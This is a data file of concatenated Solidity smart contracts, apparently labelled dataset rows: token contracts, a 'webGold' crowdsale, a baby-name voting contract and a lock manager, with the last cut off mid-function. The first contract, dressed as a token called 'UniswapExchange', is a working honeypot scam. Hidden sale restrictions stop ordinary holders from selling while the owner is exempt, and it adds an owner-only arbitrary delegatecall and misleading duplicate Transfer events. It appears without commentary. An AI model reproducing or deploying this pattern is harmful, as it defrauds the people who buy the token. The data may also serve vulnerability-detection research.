function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,417 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract WgdToken is StandardBurnableToken {
string public constant name = "webGold";
string public constant symbol = "WGD";
uint8 public constant decimals = 18;
constructor(uint _total) public {
balances[msg.sender] = _total;
totalSupply_ = _total;
emit Transfer(address(0), msg.sender, _total);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract DaonomicCrowdsale {
using SafeMath for uint256;
uint256 public weiRaised;
event Purchase(address indexed buyer, address token, uint256 value, uint256 sold, uint256 bonus, bytes txId);
event RateAdd(address token);
event RateRemove(address token);
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
(uint256 tokens, uint256 left) = _getTokenAmount(weiAmount);
uint256 weiEarned = weiAmount.sub(left);
uint256 bonus = _getBonus(tokens);
uint256 withBonus = tokens.add(bonus);
if (left > 0) {
_beneficiary.send(left);
}
weiRaised = weiRaised.add(weiEarned);
_processPurchase(_beneficiary, withBonus);
emit Purchase(
_beneficiary,
address(0),
weiEarned,
tokens,
bonus,
""
);
_updatePurchasingState(_beneficiary, weiEarned, withBonus);
_postValidatePurchase(_beneficiary, weiEarned);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
) internal;
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256, uint256);
function _getBonus(uint256 _tokens) internal view returns (uint256);
}
contract Whitelist {
function isInWhitelist(address addr) view public returns (bool);
}
contract WhitelistDaonomicCrowdsale is Ownable, DaonomicCrowdsale {
Whitelist[] public whitelists;
constructor (Whitelist[] _whitelists) public {
whitelists = _whitelists;
}
function setWhitelists(Whitelist[] _whitelists) onlyOwner public {
whitelists = _whitelists;
}
function getWhitelists() view public returns (Whitelist[]) {
return whitelists;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(canBuy(_beneficiary), "investor is not verified by Whitelists");
}
function canBuy(address _beneficiary) constant public returns (bool) {
for (uint i = 0; i < whitelists.length; i++) {
if (whitelists[i].isInWhitelist(_beneficiary)) {
return true;
}
}
return false;
}
}
contract RefundableDaonomicCrowdsale is DaonomicCrowdsale {
event Refund(address _address, uint256 investment);
mapping(address => uint256) investments;
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
) internal {
super._updatePurchasingState(_beneficiary, _weiAmount, _tokens);
investments[_beneficiary] = investments[_beneficiary].add(_weiAmount);
}
function claimRefund() public {
require(isRefundable());
require(investments[msg.sender] > 0);
uint investment = investments[msg.sender];
investments[msg.sender] = 0;
msg.sender.send(investment);
emit Refund(msg.sender, investment);
}
function isRefundable() view public returns (bool);
}
contract WgdSale is WhitelistDaonomicCrowdsale, RefundableDaonomicCrowdsale {
using SafeERC20 for WgdToken;
event Buyback(address indexed addr, uint256 tokens, uint256 value);
WgdToken public token;
uint256 public forSale;
uint256 public sold;
uint256 public minimalWei;
uint256 public end;
uint256[] public stages;
uint256[] public rates;
uint256[] public bonusStages;
uint256[] public bonuses;
constructor(WgdToken _token, uint256 _end, uint256 _minimalWei, uint256[] _stages, uint256[] _rates, uint256[] _bonusStages, uint256[] _bonuses, Whitelist[] _whitelists)
WhitelistDaonomicCrowdsale(_whitelists) public {
require(_stages.length == _rates.length);
require(_bonusStages.length == _bonuses.length);
token = _token;
end = _end;
minimalWei = _minimalWei;
stages = _stages;
rates = _rates;
bonusStages = _bonusStages;
bonuses = _bonuses;
forSale = stages[stages.length - 1];
emit RateAdd(address(0));
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minimalWei);
}
function getRate(address _token) view public returns (uint256) {
if (_token == address(0)) {
uint8 stage = getStage(sold);
if (stage == stages.length) {
return 0;
}
return rates[stage] * 10 ** 18;
} else {
return 0;
}
}
function buyback() public {
require(getStage(sold) > 0, "buyback doesn't work on stage 0");
uint256 approved = token.allowance(msg.sender, this);
uint256 inCirculation = token.totalSupply().sub(token.balanceOf(this));
uint256 value = approved.mul(this.balance).div(inCirculation);
token.burnFrom(msg.sender, approved);
msg.sender.send(value);
emit Buyback(msg.sender, approved, value);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _getBonus(uint256 _tokens) internal view returns (uint256) {
return getRealAmountBonus(forSale, sold, _tokens);
}
function getRealAmountBonus(uint256 _forSale, uint256 _sold, uint256 _tokens) public view returns (uint256) {
uint256 bonus = getAmountBonus(_tokens);
uint256 left = _forSale.sub(_sold).sub(_tokens);
if (left > bonus) {
return bonus;
} else {
return left;
}
}
function getAmountBonus(uint256 _tokens) public view returns (uint256) {
uint256 currentBonus = 0;
for (uint8 i = 0; i < bonuses.length; i++) {
if (_tokens < bonusStages[i]) {
return currentBonus;
}
currentBonus = bonuses[i];
}
return currentBonus;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256, uint256) {
return getTokenAmount(sold, _weiAmount);
}
function getTokenAmount(uint256 _sold, uint256 _weiAmount) public view returns (uint256 tokens, uint256 left) {
left = _weiAmount;
while (left > 0) {
(uint256 currentTokens, uint256 currentLeft) = getTokensForStage(_sold.add(tokens), left);
if (left == currentLeft) {
return (tokens, left);
}
left = currentLeft;
tokens = tokens.add(currentTokens);
}
}
function getTokensForStage(uint256 _sold, uint256 _weiAmount) public view returns (uint256 tokens, uint256 left) {
uint8 stage = getStage(_sold);
if (stage == stages.length) {
return (0, _weiAmount);
}
if (stage == 0 && now > end) {
revert("Sale is refundable, unable to buy");
}
uint256 rate = rates[stage];
tokens = _weiAmount.mul(rate);
left = 0;
uint8 newStage = getStage(_sold.add(tokens));
if (newStage != stage) {
tokens = stages[stage].sub(_sold);
uint256 weiSpent = (tokens.add(rate).sub(1)).div(rate);
left = _weiAmount.sub(weiSpent);
}
}
function getStage(uint256 _sold) public view returns (uint8) {
for (uint8 i = 0; i < stages.length; i++) {
if (_sold < stages[i]) {
return i;
}
}
return uint8(stages.length);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
) internal {
super._updatePurchasingState(_beneficiary, _weiAmount, _tokens);
sold = sold.add(_tokens);
}
function isRefundable() view public returns (bool) {
return now > end && getStage(sold) == 0;
}
} | 0 | 1,149 |
pragma solidity ^ 0.4.18;
contract CryptoBabyName {
uint8 constant S_NAME_POS = 18;
uint8 constant S_NAME_SIZE = 10;
uint8 constant S_SCORE_POS = 0;
uint8 constant S_SCORE_SIZE = 10;
uint8 constant S_VOTES_POS = 10;
uint8 constant S_VOTES_SIZE = 4;
uint8 constant S_TIMESTAMP_POS = 14;
uint8 constant S_TIMESTAMP_SIZE = 4;
uint8 constant S_APPROVED_POS = 28;
uint8 constant S_APPROVED_SIZE = 1;
uint8 constant S_SELECTED_POS = 29;
uint8 constant S_SELECTED_SIZE = 1;
address public owner;
address public beneficiary;
mapping(bytes10 => uint) leaderboard;
mapping(address => mapping(bytes10 => uint)) voters;
uint[100] allNames;
mapping(string => string) metadata;
uint babyName;
uint babyBirthday;
uint counter = 0;
modifier restricted() {
if (msg.sender == owner) _;
}
function CryptoBabyName() public {
owner = msg.sender;
}
event Vote(address voter, string name, uint value);
event NewSuggestion(address voter, string name, uint number);
event BabyBorn(string name, uint birthday);
function vote(string name) external payable{
_vote(name, msg.value, msg.sender);
}
function () public payable{
if (msg.data.length >= 2 && msg.data.length <= 10) {
_vote(string(msg.data), msg.value, msg.sender);
}
}
function _vote(string name, uint value, address voter) private {
require(babyName == 0);
bytes10 name10 = normalizeAndCheckName(bytes(name));
if (leaderboard[name10] != 0) {
uint newVal = leaderboard[name10];
newVal = addToPart(newVal, S_SCORE_POS, S_SCORE_SIZE, value);
newVal = addToPart(newVal, S_VOTES_POS, S_VOTES_SIZE, 1);
_update(name10, newVal);
} else {
uint uni = 0xFFFF;
uni = setPart(uni, S_SCORE_POS, S_SCORE_SIZE, value);
uint uname = uint(name10);
uni = setPart(uni, S_NAME_POS, S_NAME_SIZE, uname);
uni = setPart(uni, S_VOTES_POS, S_VOTES_SIZE, 1);
uni = setPart(uni, S_TIMESTAMP_POS, S_TIMESTAMP_SIZE, block.timestamp);
uni |= 0xFFFF;
_update(name10, uni);
counter += 1;
NewSuggestion(voter, name, counter);
}
voters[voter][name10] += value;
Vote(voter, name, value);
}
function didVoteForName(address voter, string name) public view returns(uint value){
value = voters[voter][normalizeAndCheckName(bytes(name))];
}
function _update(bytes10 name10, uint updated) private {
uint16 idx = uint16(updated);
if (idx == 0xFFFF) {
uint currentBottom;
uint bottomIndex;
(currentBottom, bottomIndex) = bottomName();
if (updated > currentBottom) {
if (getPart(currentBottom, S_SCORE_POS, S_SCORE_SIZE) > 0) {
currentBottom = currentBottom | uint(0xFFFF);
bytes10 bottomName10 = bytes10(getPart(currentBottom, S_NAME_POS, S_NAME_SIZE));
leaderboard[bottomName10] = currentBottom;
}
updated = (updated & ~uint(0xFFFF)) | bottomIndex;
allNames[bottomIndex] = updated;
}
} else {
allNames[idx] = updated;
}
leaderboard[name10] = updated;
}
function getPart(uint val, uint8 pos, uint8 sizeBytes) private pure returns(uint result){
uint mask = makeMask(sizeBytes);
result = (val >> ((32 - (pos + sizeBytes)) * 8)) & mask;
}
function makeMask(uint8 size) pure private returns(uint mask){
mask = (uint(1) << (size * 8)) - 1;
}
function setPart(uint val, uint8 pos, uint8 sizeBytes, uint newValue) private pure returns(uint result){
uint mask = makeMask(sizeBytes);
result = (val & ~(mask << (((32 - (pos + sizeBytes)) * 8)))) | ((newValue & mask) << (((32 - (pos + sizeBytes)) * 8)));
}
function addToPart(uint val, uint8 pos, uint8 sizeBytes, uint value) private pure returns(uint result){
result = setPart(val, pos, sizeBytes, getPart(val, pos, sizeBytes) + value);
}
function bottomName() public view returns(uint name, uint index){
uint16 n = uint16(allNames.length);
uint j = 0;
name = allNames[0];
index = 0;
for (j = 1; j < n; j++) {
uint t = allNames[j];
if (t < name) {
name = t;
index = j;
}
}
}
function getTopN(uint nn) public view returns(uint[] top){
uint n = nn;
if (n > allNames.length) {
n = allNames.length;
}
top = new uint[](n);
uint cnt = allNames.length;
uint usedNames;
for (uint j = 0; j < n; j++ ) {
uint maxI = 0;
uint maxScore = 0;
bool found = false;
for (uint i = 0; i < cnt; i++ ) {
if (allNames[i] > maxScore) {
if ((usedNames & (uint(1) << i)) == 0) {
maxScore = allNames[i];
maxI = i;
found = true;
}
}
}
if (found) {
usedNames |= uint(1) << maxI;
top[j] = maxScore;
} else {
break;
}
}
}
function getTopNames() external view returns(uint[100]){
return allNames;
}
function getCount() external view returns(uint count){
count = counter;
}
function getScoreForName(string name) external view returns(uint){
return leaderboard[normalizeAndCheckName(bytes(name))];
}
function approve(string name, uint8 approval) external {
require(msg.sender == owner);
bytes10 name10 = normalizeAndCheckName(bytes(name));
uint uname = leaderboard[name10];
if (uname != 0) {
uname = setPart(uname, S_APPROVED_POS, S_APPROVED_SIZE, approval);
_update(name10, uname);
}
}
function redeem(uint _value) external{
require(msg.sender == owner);
uint value = _value;
if (value == 0) {
value = this.balance;
}
owner.transfer(value);
}
function babyBornEndVoting(string name, uint birthday) external returns(uint finalName){
require(msg.sender == owner);
bytes10 name10 = normalizeAndCheckName(bytes(name));
finalName = leaderboard[name10];
if (finalName != 0) {
babyName = finalName;
babyBirthday = birthday;
BabyBorn(name, birthday);
}
}
function getSelectedName() external view returns(uint name, uint birthday){
name = babyName;
birthday = babyBirthday;
}
function normalizeAndCheckName(bytes name) private pure returns(bytes10 name10){
require(name.length <= 10);
require(name.length >= 2);
for (uint8 i = 0; i < name.length; i++ ) {
bytes1 chr = name[i] & ~0x20;
require(chr >= 0x41 && chr <= 0x5A);
name[i] = chr;
name10 |= bytes10(chr) >> (8 * i);
}
}
} | 1 | 4,247 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LockinManager {
using SafeMath for uint256;
struct Lock {
uint256 amount;
uint256 unlockDate;
uint256 lockedFor;
}
Lock lock;
uint256 defaultAllowedLock = 7;
mapping (address => Lock[]) public lockedAddresses;
mapping (address => uint256) public allowedContracts;
mapping (uint => uint256) public allowedLocks;
Token token;
AuthenticationManager authenticationManager;
event LockedDayAdded(address _admin, uint256 _daysLocked, uint256 timestamp);
event LockedDayRemoved(address _admin, uint256 _daysLocked, uint256 timestamp);
event ValidContractAdded(address _admin, address _validAddress, uint256 timestamp);
event ValidContractRemoved(address _admin, address _validAddress, uint256 timestamp);
function LockinManager(address _token, address _authenticationManager) {
token = Token(_token);
authenticationManager = AuthenticationManager(_authenticationManager);
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
modifier validContractOnly {
require(allowedContracts[msg.sender] != 0);
_;
}
function getLocks(address _owner) validContractOnly constant returns (uint256) {
return lockedAddresses[_owner].length;
}
function getLock(address _owner, uint256 count) validContractOnly returns(uint256 amount, uint256 unlockDate, uint256 lockedFor) {
amount = lockedAddresses[_owner][count].amount;
unlockDate = lockedAddresses[_owner][count].unlockDate;
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
function getLocksAmount(address _owner, uint256 count) validContractOnly returns(uint256 amount) {
amount = lockedAddresses[_owner][count].amount;
}
function getLocksUnlockDate(address _owner, uint256 count) validContractOnly returns(uint256 unlockDate) {
unlockDate = lockedAddresses[_owner][count].unlockDate;
}
function getLocksLockedFor(address _owner, uint256 count) validContractOnly returns(uint256 lockedFor) {
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
function defaultLockin(address _address, uint256 _value) validContractOnly
{
lockIt(_address, _value, defaultAllowedLock);
}
function lockForDays(uint256 _value, uint256 _days)
{
require( ! ifInAllowedLocks(_days));
require(token.availableBalance(msg.sender) >= _value);
lockIt(msg.sender, _value, _days);
}
function lockIt(address _address, uint256 _value, uint256 _days) internal {
uint256 _expiry = now + _days.mul(86400);
lockedAddresses[_address].push(Lock(_value, _expiry, _days));
}
function ifInAllowedLocks(uint256 _days) constant returns(bool) {
return allowedLocks[_days] == 0;
}
function addAllowedLock(uint _day) adminOnly {
if (allowedLocks[_day] != 0)
throw;
allowedLocks[_day] = now;
LockedDayAdded(msg.sender, _day, now);
}
function removeAllowedLock(uint _day) adminOnly {
if ( allowedLocks[_day] == 0)
throw;
allowedLocks[_day] = 0;
LockedDayRemoved(msg.sender, _day, now);
}
function addValidContract(address _address) adminOnly {
if (allowedContracts[_address] != 0)
throw;
allowedContracts[_address] = now;
ValidContractAdded(msg.sender, _address, now);
}
function removeValidContract(address _address) adminOnly {
if ( allowedContracts[_address] == 0)
throw;
allowedContracts[_address] = 0;
ValidContractRemoved(msg.sender, _address, now);
}
function setDefaultAllowedLock(uint _days) adminOnly {
defaultAllowedLock = _days;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
mapping (address => bool) accountMinterAddresses;
address[] adminAudit;
address[] accountReaderAudit;
address[] accountMinterAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
event AccountMinterAdded(address addedBy, address account);
event AccountMinterRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountMinter(address _address) constant returns (bool) {
return accountMinterAddresses[_address];
}
function isCurrentOrPastAccountMinter(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountMinterAudit.length; i++)
if (accountMinterAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (adminAddresses[_address])
throw;
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[accountReaderAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
